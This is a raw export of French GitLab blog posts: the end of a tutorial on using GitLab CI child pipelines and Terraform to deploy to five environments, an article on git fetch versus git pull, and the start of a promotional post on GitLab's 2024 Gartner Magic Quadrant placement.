GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n```\n\n\nComme indiqué, cela nous permet de déployer sur les environnements `integration` et `staging`. Mais il manque toujours un environnement temporaire où les développeurs et développeuses peuvent expérimenter et valider leur code sans affecter le travail des autres. C'est tout l'intérêt du déploiement dans l'environnement `review`.\n\n\n##### Pipeline CD pour les environnements de revue\n\n\nLe déploiement dans l'environnement de revue n'est pas très différent du déploiement dans les environnements `integration` et `staging`. Nous allons une fois de plus tirer parti de la capacité de GitLab à remplacer uniquement des éléments de définition de job.\n\n\nTout d'abord, nous définissons des règles pour exécuter ces jobs uniquement sur les branches de fonctionnalités.\n\n\nEnsuite, nous relions le job `deploy_review` à `destroy_review`. Nous pouvons ainsi arrêter l'environnement **manuellement** à partir de l'interface utilisateur de GitLab. Plus important encore, ce job **déclenche automatiquement la destruction de l'environnement** lorsque la branche de fonctionnalité est fermée. Cette bonne pratique FinOps vous aide à contrôler vos dépenses opérationnelles.\n\n\nPuisque Terraform a besoin d'un fichier de plan pour la destruction d'une infrastructure, comme pour la compilation, nous ajoutons une dépendance de `destroy_review` à `build_review` afin de récupérer ses artefacts.\n\n\nEnfin, nous voyons ici que le nom de l'environnement est `$environment`. Il a été défini sur `review/$CI_COMMIT_REF_SLUG` dans le [pipeline principal](#the-main-pipeline) et transmis à ce pipeline enfant avec l'instruction `trigger:forward:yaml_variables:true`.\n\n\n```yml\n\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n```\n\n\nPour récapituler, nous avons maintenant un pipeline qui peut :\n\n\n* Déployer des environnements de revue temporaires, qui sont automatiquement détruits lorsque la branche de fonctionnalité est fermée\n\n* Déployer en continu la **branche par défaut** sur `integration`\n\n* Déployer en continu les **tags** sur l'environnement `staging`\n\n\nAjoutons maintenant un niveau supplémentaire, où nous allons déployer sur les environnements `qa` et `production` avec un déclencheur manuel.\n\n\n##### Pipeline CD pour l'assurance qualité et la production\n\n\nComme tout le monde n'est pas prêt à effectuer des déploiements continus en production, nous ajoutons une validation manuelle pour les deux prochains déploiements. À strictement parler, nous ne devrions pas ajouter ce déclencheur dans un processus **CD**, mais profitons de cette occasion pour vous apprendre à exécuter des jobs à partir d'autres déclencheurs.\n\n\nJusqu'à présent, nous avons lancé un [pipeline enfant](#the-child-pipeline) à partir du [pipeline principal](#the-main-pipeline) pour exécuter tous les déploiements.\n\n\nComme nous voulons exécuter d'autres déploiements à partir de la branche par défaut et des tags, nous ajoutons un nouveau niveau pour ces étapes supplémentaires. Rien de bien nouveau. Nous allons répéter le processus utilisé pour le [pipeline principal](#the-main-pipeline). En procédant de cette façon, vous pouvez manipuler autant de niveaux que vous le souhaitez. J'ai déjà vu jusqu'à neuf environnements.\n\n\nSans revenir sur les avantages d'un nombre limité d'environnements, le processus que nous utilisons ici permet d'implémenter très facilement le même pipeline, de la phase initiale jusqu’à la livraison finale, tout en gardant la définition de votre pipeline simple et divisée en petits segments que vous pouvez maintenir facilement.\n\n\nPour éviter les conflits de variables, nous utilisons simplement de nouveaux noms pour identifier l'état Terraform et le fichier d'intrant.\n\n\n```yml\n\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream pipeline to finish to mark upstream pipeline as successful. Otherwise, all pipelines will fail when reaching the pipeline timeout before deployment to 2nd layer.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n```\n\n\n**Un point important ici est la stratégie utilisée pour le nouveau pipeline enfant.** Nous maintenons la valeur par défaut du déclencheur `trigger:strategy`. Dans le cas contraire, le [pipeline principal](#the-main-pipeline) attend la fin de votre [pipeline de niveau « petit-enfant »](#the-grand-child-pipeline). Si vous utilisez un déclencheur manuel, cette opération peut prendre beaucoup de temps et rendre votre tableau de bord de pipeline plus difficile à lire et à comprendre.\n\n\nVous vous demandez probablement ce que contient le fichier `.gitlab-ci/.second-layer.gitlab-ci.yml` qui est inclus ici. Nous aborderons cette question dans la section suivante.\n\n\n##### Le premier niveau complet de définition de pipeline\n\n\nSi vous recherchez une vue complète de ce premier niveau (stocké dans `.gitlab-ci/.first-layer.gitlab-ci.yml`), consultez la section suivante.\n\n\n```yml\n\nvariables:\n  TF_VAR_aws_ami_id: $AWS_AMI_ID\n  TF_VAR_aws_instance_type: $AWS_INSTANCE_TYPE\n  TF_VAR_aws_default_region: $AWS_DEFAULT_REGION\n\ninclude:\n  - template: Terraform.gitlab-ci.yml\n\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n  - cleanup\n  - 2nd_layer       # Use to deploy a 2nd environment on both the main branch and on the tags\n\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\niac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\n###########################################################################################################\n\n## Integration env. and Staging. env\n\n##  * Auto-deploy to Integration on merge to main.\n\n##  * Auto-deploy to Staging on tag.\n\n##  * Integration can be manually destroyed if TF_DESTROY is set to true.\n\n##  * Destroy of next env. is not automated to prevent errors.\n\n###########################################################################################################\n\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n###########################################################################################################\n\n\n###########################################################################################################\n\n## Dev env.\n\n##  * Temporary environment. Lives and dies with the Merge Request.\n\n##  * Auto-deploy on push to feature branch.\n\n##  * Auto-destroy on when Merge Request is closed.\n\n###########################################################################################################\n\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n###########################################################################################################\n\n\n###########################################################################################################\n\n## Second layer\n\n##  * Deploys from main branch to qa env.\n\n##  * Deploys from tag to production.\n\n###########################################################################################################\n\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream pipeline to finish to mark upstream pipeline as successful. Otherwise, all pipelines will fail when reaching the pipeline timeout before deployment to 2nd layer.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n###########################################################################################################\n\n```\n\n\nÀ cette étape, nous avons déjà effectué des déploiements vers trois environnements en toute sécurité. Je trouve personnellement que cette démarche est idéale. Cependant, si vous avez besoin d'autres environnements, ajoutez-les à votre pipeline CD.\n\n\nVous avez sûrement remarqué que nous incluons un pipeline enfant avec le mot-clé `trigger:include`. Il inclut le fichier `.gitlab-ci/.second-layer.gitlab-ci.yml`. Nous souhaitons exécuter un pipeline très similaire, son contenu ressemble donc évidemment beaucoup à celui présenté ci-dessus. Le principal avantage de ce [pipeline de niveau « petit-enfant »](#the-grand-child-pipeline) est qu'il existe par lui-même, ce qui facilite la définition des variables et des règles.\n\n\n### Le pipeline de niveau « petit-enfant »\n\n\nCe pipeline de deuxième couche est tout nouveau. Par conséquent, il doit imiter la définition de la première couche, à savoir :\n\n\n* [Il doit inclure le template Terraform](#run-terraform-commands-and-secure-the-code).\n\n* [Il doit exécuter des contrôles de sécurité](#run-controls-on-all-branches). La validation Terraform dupliquerait le premier niveau, mais les scanners de sécurité peuvent identifier des menaces qui n'existaient pas encore lors des précédents scans (par exemple, si vous déployez en production quelques jours après votre déploiement en préproduction).\n\n* [Il doit remplacer les jobs de compilation et de déploiement pour définir des règles spécifiques](#cd-to-review-environments). Notez que l'étape `destroy` n'est plus automatisée pour éviter des suppressions accidentelles.\n\n\nComme expliqué ci-dessus, les variables `TF_STATE_NAME` et `TF_CLI_ARGS_plan` sont copiées du pipeline principal au pipeline enfant. Nous avions besoin d'un nom de variable différent pour transférer ces valeurs du pipeline enfant au pipeline « petit-enfant ». C'est pourquoi, dans le pipeline enfant, les noms de ces variables incluent le suffixe `_2`. La valeur est ensuite copiée dans la variable correspondante appropriée lors de l'exécution de la section `before_script`.\n\n\nComme nous avons déjà décomposé chaque étape, nous pouvons passer directement à la vue d'ensemble du deuxième niveau (codé dans `.gitlab-ci/.second-layer.gitlab-ci.yml`).\n\n\n```yml\n\n# Use to deploy a second environment on both the default branch and the tags.\n\n\ninclude:\n  template: Terraform.gitlab-ci.yml\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n\nfmt:\n  rules:\n    - when: never\n\nvalidate:\n  rules:\n    - when: never\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: always\n\n###########################################################################################################\n\n## QA env. and Prod. env\n\n##  * Manually trigger build and auto-deploy in QA\n\n##  * Manually trigger both build and deploy in Production\n\n##  * Destroy of these env. is not automated to prevent errors.\n\n###########################################################################################################\n\nbuild:  # terraform plan\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment:\n    name: $TF_STATE_NAME_2\n    action: prepare\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - when: manual\n\ndeploy: # terraform apply\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment: \n    name: $TF_STATE_NAME_2\n    action: start\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG && $TF_AUTO_DEPLOY == \"true\"\n    - if: $CI_COMMIT_TAG\n      when: manual\n###########################################################################################################\n\n```\n\n\nVoilà qui est fait. **Tout est prêt.** N'hésitez pas à changer la façon dont vous contrôlez l'exécution de vos jobs, en tirant parti, par exemple, de la capacité de GitLab à [retarder un job](https://docs.gitlab.com/ee/ci/jobs/job_control.html#run-a-job-after-a-delay) avant de le déployer en production.\n\n\n## Essayez par vous-même\n\n\nCe tutoriel est maintenant terminé. Nous savons désormais comment contrôler les **déploiements vers cinq environnements différents** en utilisant uniquement les **branches de fonctionnalités**, la **branche principale** et les **tags**.\n\n\n* Nous réutilisons intensivement les templates open source GitLab pour assurer la productivité et la sécurité de nos pipelines.\n\n* Nous tirons parti des capacités du template GitLab pour remplacer uniquement les blocs nécessitant un contrôle personnalisé.\n\n* Nous avons divisé le pipeline en petits segments et contrôlons les pipelines enfants afin qu'ils correspondent exactement à nos besoins.\n\n\nÀ vous de jouer maintenant. Vous pouvez, par exemple, facilement mettre à jour le pipeline principal afin de déclencher des pipelines enfants, pour votre code source logiciel, avec le mot-clé [trigger:rules:changes](https://docs.gitlab.com/ee/ci/yaml/#ruleschanges). Vous pouvez utiliser un autre [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/) en fonction des changements qui se sont produits. Mais c'est une autre histoire.\n",[704],"2025-01-09","2024-09-26","Déployer en continu dans de multiples environnements avec les pipelines enfants",[110,1256,1257,1067,1069],{"slug":2290,"featured":6,"template":683},"using-child-pipelines-to-continuously-deploy-to-five-environments","content:fr-fr:blog:using-child-pipelines-to-continuously-deploy-to-five-environments.yml","Using Child Pipelines To Continuously Deploy To Five Environments","fr-fr/blog/using-child-pipelines-to-continuously-deploy-to-five-environments.yml","fr-fr/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"_path":2296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2297,"content":2303,"config":2310,"_id":2312,"_type":16,"title":2313,"_source":17,"_file":2314,"_stem":2315,"_extension":20},"/fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference",{"title":2298,"description":2299,"ogTitle":2298,"ogDescription":2299,"noIndex":6,"ogImage":2300,"ogUrl":2301,"ogSiteName":841,"ogType":842,"canonicalUrls":2301,"schema":2302},"Git fetch vs git pull : quelle différence ?","Git pull est une commande Git qui exécute simultanément git fetch et git merge. Cet article décrit les caractéristiques et les utilisations de chaque commande.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660028/Blog/Hero%20Images/blog-image-template-1800x945__25_.png","https://about.gitlab.com/blog/git-pull-vs-git-fetch-whats-the-difference","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git fetch vs git pull : quelle est la différence entre ces deux commandes Git ?  \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-09-24\",\n      }",{"title":2304,"description":2299,"authors":2305,"heroImage":2300,"date":2306,"body":2307,"category":928,"tags":2308,"updatedDate":2309},"Git fetch vs git pull : quelle est la différence entre ces deux commandes Git ?",[1295],"2024-09-24","[Git est un outil de contrôle de version](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\") très populaire et utilisé lorsque la synchronisation avec un dépôt distant est nécessaire. Les équipes de développement doivent ainsi choisir les commandes appropriées en fonction des besoins de leurs projets. \n\nDécouvrez dans cet article les caractéristiques et les différences entre les commandes git fetch et git pull, ainsi qu’une explication détaillée de leurs cas d'utilisation respectifs.\n\n## Qu’est-ce que git fetch et git pull ?\n\nGit fetch et git pull sont deux [commandes Git](https://git-scm.com/book/fr/v2/Commandes-Git-Partage-et-mise-%C3%A0-jour-de-projets \"commandes Git\") utilisées pour récupérer des informations de mise à jour à partir d'un dépôt distant. Alors, en quoi diffèrent-elles ? \n\nLa __[commande git fetch](https://git-scm.com/docs/git-fetch/fr \"commande git fetch\")__ télécharge les modifications du dépôt distant vers le dépôt local, mais n'apporte aucune modification au répertoire de travail en cours. Étant donné que les modifications ne sont pas fusionnées dans la branche locale, vous pouvez les vérifier à partir du dépôt distant sans interrompre votre travail. \n\nLa __commande git pull__, quant à elle, récupère les modifications les plus récentes du dépôt distant comme git fetch, mais elle fusionne également automatiquement ces modifications dans la branche actuelle. Contrairement à git fetch, git pull applique directement les modifications du dépôt distant au répertoire de travail local.\n\nPour en savoir plus sur Git, [consultez notre documentation](https://docs.gitlab.com/ee/topics/git/ \"Documentation GitLab sur Git\"). \n\n## Git fetch \nLa commande git fetch récupère l'historique des validations les plus récentes du dépôt distant, mais elle n'affecte pas le répertoire de travail local. Même après avoir récupéré les modifications à distance, celles-ci ne sont pas reflétées dans la branche locale. Cette commande est principalement utilisée lorsque vous souhaitez récupérer le dernier statut du dépôt distant et examiner les modifications avant qu'elles ne soient reflétées dans le dépôt local. Pour appliquer les modifications récupérées à la branche locale, vous devez exécuter manuellement git merge ou [git rebase](https://about.gitlab.com/blog/take-advantage-of-git-rebase/).\n\n### Quand utiliser git fetch ? \nLa commande git fetch permet de récupérer les informations les plus récentes d'un dépôt distant. Les informations récupérées ne sont pas directement reflétées dans la branche locale. Tandis que l'utilisation de git pull reflète toutes les branches distantes, y compris les branches incorrectes ou problématiques, dans la branche locale. \n\nLorsque des modifications sont apportées simultanément sur des branches distantes et locales, ou lorsque de nouveaux utilisateurs intègrent l'équipe, il est plus sûr d'utiliser git fetch pour récupérer dans un premier temps le contenu de la branche distante, puis d'effectuer un merge ou un rebasage. \n\n## Git pull \nLa commande git pull combine `git fetch` et `git merge` (ou `git rebase`) en une seule commande. Cela vous permet de récupérer les modifications depuis le dépôt distant et de les intégrer automatiquement dans la branche locale actuelle. \n\nAlors que git fetch récupère les modifications du dépôt distant sans les appliquer à la branche locale, l'exécution de git pull intègre automatiquement les modifications du dépôt distant dans la branche locale. \n\nLa commande git pull convient pour refléter rapidement les modifications à distance dans la branche locale, mais elle peut conduire à des conflits. Il est donc recommandé de faire très attention, en particulier lorsque vous travaillez avec plusieurs personnes. \n\n### Quand utiliser git pull ?\nLa commande git pull exécute plus de processus que git fetch. Git pull peut exécuter à la fois git fetch en plus de git merge ou git rebase. Pour cette raison, la commande git pull est recommandée lorsque vous souhaitez refléter rapidement les modifications du dépôt distant dans la branche locale. \n\n## FAQ sur git fetch vs git pull\n\n### Quelle est la différence entre git pull et git fetch ? \nLa commande git pull exécute la commande git fetch suivie de git merge ou git rebase. Alors que git fetch n'affecte pas le dépôt local, git pull synchronise automatiquement les modifications du dépôt distant avec le dépôt local. \n\n### Quelles sont les précautions à prendre lors de l'utilisation de git pull ? \nLors de l'exécution de git pull, il peut y avoir des conflits entre les modifications distantes et locales. Des conflits de merge sont particulièrement susceptibles de se produire. Par conséquent, si des conflits surviennent, ils doivent être résolus manuellement. De plus, l'utilisation de git pull --rebase vous permet d'intégrer les dernières modifications lors de l'exécution du rebasage. \n\n### À quoi sert git fetch ? \nGit fetch permet de vérifier et de récupérer le statut le plus récent du dépôt distant. Cependant, les modifications récupérées ne sont pas automatiquement reflétées dans la branche locale ; git fetch est utilisé pour synchroniser les dépôts locaux et distants.",[1047,913],"2024-10-15",{"slug":2311,"featured":6,"template":683},"git-pull-vs-git-fetch-whats-the-difference","content:fr-fr:blog:git-pull-vs-git-fetch-whats-the-difference.yml","Git Pull Vs Git Fetch Whats The Difference","fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference.yml","fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference",{"_path":2317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2318,"content":2323,"config":2331,"_id":2333,"_type":16,"title":2334,"_source":17,"_file":2335,"_stem":2336,"_extension":20},"/fr-fr/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"title":2319,"description":2320,"ogTitle":2319,"ogDescription":2320,"noIndex":6,"ogImage":721,"ogUrl":2321,"ogSiteName":841,"ogType":842,"canonicalUrls":2321,"schema":2322},"Magic Quadrant 2024 : GitLab, Leader des plateformes DevOps","GitLab figure en tête du classement pour sa capacité d'exécution et l'exhaustivité de sa vision avec sa plateforme DevOps.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab nommée Leader dans le Magic Quadrant 2024 de Gartner dédié aux plateformes DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Kramer\"}],\n        \"datePublished\": \"2024-09-05\",\n      }\n                  ",{"title":2324,"description":2325,"authors":2326,"heroImage":721,"date":2328,"body":2329,"category":827,"tags":2330,"updatedDate":2225},"GitLab nommée Leader dans le Magic Quadrant 2024 de Gartner dédié aux plateformes DevOps","Notre approche DevOps innovante et le succès de nos clients ont permis à GitLab de figurer en tête du classement pour sa capacité d'exécution et l'exhaustivité de sa vision.",[2327],"Ashley Kramer","2024-09-05","À l'origine, l'approche DevOps n'était qu'un concept, une méthodologie qui permettait de livrer des logiciels plus rapidement en réunissant des équipes traditionnellement disparates. Il s'agissait de répondre aux problèmes causés par la séparation entre les équipes de développement et celles de déploiement.\n\nChez GitLab, nous avons repris ce concept et l'avons développé : au lieu d'assembler des outils pour créer une chaîne d'outils DevOps complexe, nous avons créé une [plateforme DevOps unique](https://about.gitlab.com/fr-fr/platform/) pour encourager une collaboration plus étroite, une automatisation plus poussée et des processus plus évolutifs et standardisés.\n\nNous sommes convaincus de la valeur de cette stratégie, qui est axée sur la réussite de nos clients. À l'occasion de la deuxième édition du [Magic Quadrant de Gartner dédié aux plateformes DevOps](https://about.gitlab.com/fr-fr/gartner-magic-quadrant/), nous avons à nouveau été reconnus comme un des Leaders, cette fois-ci, dans les deux domaines suivants : Capacité d'exécution et Exhaustivité de la vision.\n\n![Image Gartner MQ pour les plateformes DevOps 2024](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674334/Blog/Content%20Images/figure1.png)\n\n> Téléchargez le [rapport Magic Quadrant™ 2024 de Gartner® dédié aux plateformes DevOps](https://about.gitlab.com/fr-fr/gartner-magic-quadrant/).\n\nLes fournisseurs de logiciels doivent aujourd'hui faire face à des menaces de sécurité croissantes et à des exigences de conformité complexes, tout en adoptant avec discernement les nouvelles technologies comme l'IA générative. Et bien sûr, ils doivent fournir à leurs clients des services évolutifs et toujours plus innovants.\n\nL'objectif de GitLab est d'aider ses clients à surmonter ces défis et à devenir des leaders dans leurs secteurs. Grâce à notre plateforme DevSecOps alimentée par l'IA, ils peuvent anticiper les problèmes de sécurité et améliorer la visibilité tout au long du cycle de développement, tout en rassemblant les acteurs nécessaires pour créer des logiciels indispensables.\n\n## Aller plus loin dans l'approche DevOps\n\nMais l'aventure ne fait que commencer ! Notre objectif ? Continuer à développer la vision DevOps et faire progresser notre plateforme DevSecOps de deux manières.\n\nPour commencer, nous voulons inviter encore plus d'équipes à collaborer sur la même plateforme, avec des fonctionnalités dédiées à celles impliquées dans [la planification Agile](https://about.gitlab.com/fr-fr/blog/categories/agile-planning/), la [science des données](https://about.gitlab.com/fr-fr/topics/devops/the-role-of-ai-in-devops/) et [l'observabilité](https://about.gitlab.com/fr-fr/blog/observability-vs-monitoring-in-devops/) et la surveillance des applications.\n\nDeuxièmement, nous voulons rendre l’adoption de notre plateforme et les options de déploiement encore plus flexibles pour répondre aux divers besoins de nos clients. Pour ce faire, nous enrichissons [GitLab Dedicated](https://about.gitlab.com/dedicated/), notre option hébergée à locataire unique, afin que les entreprises évoluant dans des secteurs hautement réglementés puissent bénéficier de la simplicité du SaaS et des nouvelles fonctionnalités et capacités, tout en respectant les besoins de conformité des infrastructures isolées.\n\n## Aider les entreprises à créer des logiciels sûrs\n\nAu-delà de la création d'une meilleure plateforme de collaboration pour le développement de logiciels, l'un de nos objectifs clés est d'aider les entreprises à produire des logiciels plus sûrs et plus conformes. C'est cet objectif qui nous démarque de nos concurrents, car GitLab intègre le [scanning de sécurité](https://about.gitlab.com/fr-fr/solutions/security-compliance/) au stade de la validation du code, et non lorsque les applications sont prêtes à être publiées. Les équipes peuvent ainsi détecter plus rapidement les vulnérabilités, ce qui accélère les cycles de sortie. GitLab facilite également le respect de la conformité grâce à la présence de garde-fous au niveau des stratégies et à la génération automatique [d'une nomenclature logicielle](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une nomenclature logicielle (SBOM) ?\").\n\nNous savons que la sécurité est un enjeu de plus en plus important pour nos clients, à mesure que la surface d'attaque de leur logiciel s'étend. C'est pourquoi, au cours des 12 prochains mois, nous prévoyons de continuer à améliorer nos scanners SAST, d'ajouter des contrôles supplémentaires au niveau des stratégies de sécurité et de compiler [un nouveau gestionnaire de secrets natif](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/).\n\n## Accompagner tout le cycle du développement logiciel grâce à l'IA\n\nNotre vision est également d'être leader dans le domaine de l'IA, à la fois en aidant nos clients à créer des logiciels innovants avec l'IA, mais aussi en exploitant les technologies d'IA respectueuses de la confidentialité. L'IA représente en effet une véritable avancée et offre d'innombrables opportunités lorsqu'elle est intégrée tout au long du cycle de développement logiciel. Mais pour nous, l'innovation doit avant tout se faire de manière responsable. Les préoccupations de nos clients sont claires : ils veulent une [IA avec des garde-fous](https://about.gitlab.com/the-source/ai/velocity-with-guardrails-ai-automation/), une [IA transparente](https://about.gitlab.com/fr-fr/ai-transparency-center/) et une IA qui respecte leur code et leur propriété intellectuelle.\n\nNous nous engageons à enrichir [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), une suite de fonctionnalités alimentées par l'IA pour notre plateforme DevSecOps qui sont à la fois complètes, respectueuses de la confidentialité et conçues pour prendre en charge l'ensemble du cycle de développement logiciel.\n\nC'est cet engagement et nos fonctionnalités GitLab Duo qui ont encouragé [Gartner® à nous nommer Leader dans son premier Magic Quadrant™ dédié aux assistants IA pour le code](https://about.gitlab.com/fr-fr/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants/).\n\nNous sommes fiers de cette reconnaissance qui nous encourage à rester à l'écoute de nos clients afin de continuer à développer notre vision, notre roadmap produit et notre engagement à créer la meilleure plateforme DevSecOps.\n\n> Téléchargez le [rapport Magic Quadrant™ 2024 de Gartner® dédié aux plateformes DevOps](https://about.gitlab.com/fr-fr/gartner-magic-quadrant/).\n\n***Source : Gartner, Magic Quadrant dédié aux plateformes DevOps, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, août 2024***\n\n***GARTNER est une marque déposée et une marque de service de Gartner, Inc. et/ou de ses sociétés affiliées aux États-Unis et à l'étranger et MAGIC QUADRANT est une\nmarque déposée de Gartner, Inc. et/ou de ses sociétés affiliées. Elles sont utilisées ici avec autorisation. Tous droits réservés.***\n\n***Gartner ne cautionne aucun fournisseur, produit ou service décrit dans ses publications de recherche, et ne conseille pas aux utilisateurs de la technologie de sélectionner uniquement les fournisseurs ayant les notes les plus élevées ou toute autre désignation. Les publications de recherche de Gartner reflètent les opinions de l'organisation de recherche de Gartner et ne doivent pas 